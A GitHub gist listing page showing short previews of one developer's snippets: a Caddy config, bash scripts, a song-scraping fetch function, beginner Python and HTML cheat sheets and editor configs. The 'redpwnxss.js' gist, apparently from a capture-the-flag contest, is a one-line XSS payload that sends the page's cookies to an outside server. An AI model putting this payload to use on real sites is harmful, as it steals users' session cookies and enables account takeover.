Skip to content

Instantly share code, notes, and snippets.

@anbcodes
anbcodes / Caddyfile
Created January 29, 2025 01:49
systemd caddy nodejs setup
# /etc/caddy/Caddyfile
# The Caddyfile is an easy way to configure your Caddy web server.
#
# Unless the file starts with a global options block, the first
# uncommented line is always the address of your site.
#
# To use your own domain name (with automatic HTTPS), first make
# sure your domain's A/AAAA DNS records are properly pointed to
# this machine's public IP, then replace ":80" below with your
# domain name.
@anbcodes
anbcodes / stfs
Created August 8, 2022 20:47
Simple Text File Sync
#!/bin/bash
if [ "$USER" != "root" ]; then
echo "Error: must be run as root"
exit 5
fi
if [ "$1" = "start" ]; then
if [ -f "/tmp/stfs.pid" ]; then
echo "Error: daemon already running"
@anbcodes
anbcodes / redpwnxss.js
Created July 9, 2021 20:48
redpwnxss.js
fetch(`https://mc.anb.codes:31661/`+ document.cookie);
function getNewestAir1Songs() {
fetch('https://www.air1.com/music/songs')
.then((data) => data.text())
.then((html) => {
const parser = new DOMParser();
const doc = parser.parseFromString(html, 'text/html');
const f = [...doc.querySelectorAll('.card.diffuse.border-0.h-100.song-card p:nth-child(3)')];
const s = [...doc.querySelectorAll('.card.diffuse.border-0.h-100.song-card h5:nth-child(2)')];
const songs = f.map((v, i) => `${s[i].innerText} ${v.innerText}`);

Cheat sheet

Variables

  • Define a string: name = 'hello world' (Remember the quotes)
  • Define a number: age = 10
  • Define a boolean (True/False): likesMovies = True (Remember to capitalize "True" and "False")

Interaction

  • print: Prints something to the terminal. Format: print(value)
  • input: Asks the user for their input. Format: input(question) (Remember to put a space after the questions)

Equations

@anbcodes
anbcodes / HTMLCSSCheatsheet.md
Last active March 25, 2020 02:06
Cheatsheet for HTML and CSS

Cheatsheet

HTML

Type html:5 then press Enter to create a simple template in a HTML file

Type link:css in the head of the index.html file then press Enter to import a CSS file

Elements:

  • <p>: Creates a paragraph
  • <br>: Creates a new line
  • <a>: Create a link (Use the href attribute: </a><a href="http://example.com">)
@anbcodes
anbcodes / usercodehowto.md
Created March 1, 2020 00:04
VSCode Live Share sign in with user code

Steps

  • Go to this link and log in
  • After logging in click "Having Trouble?" and copy the user code
  • Go to VSCode and do Ctrl+Shift+P and type "Live Share: Sign in with user code" then enter
  • Paste you user code and press enter
@anbcodes
anbcodes / Button.vue
Last active December 13, 2019 21:51
A simple example of rendering a google signin button
<template>
<div id="google-signin-btn">
</div>
</template>
<script>
import log from '../utils/Log';
import googleUtils from '../utils/Google';
export default {
mounted() {
@anbcodes
anbcodes / CheckGit.bash
Created November 15, 2019 02:20
A simple bash script for looping through the directories in a directory and checking if they are a github repository without any local changes
gitFind() {
oldLoca=$('pwd')
cd "$1" || "."
for d in */; do
if [ -d $d ]; then
oldLoc=$('pwd')
cd $d
if git ls-remote 2>&1 | grep -q HEAD; then
if git status | grep -q "Changes not" || git status | grep -q "Untracked files"; then
echo "${red}$d (Changes) ${end}"
// Future versions of Hyper may add additional config options,
// which will not automatically be merged into this file.
// See https://hyper.is#cfg for all currently supported options.
module.exports = {
config: {
// choose either `'stable'` for receiving highly polished,
// or `'canary'` for less polished but more frequent updates
updateChannel: 'stable',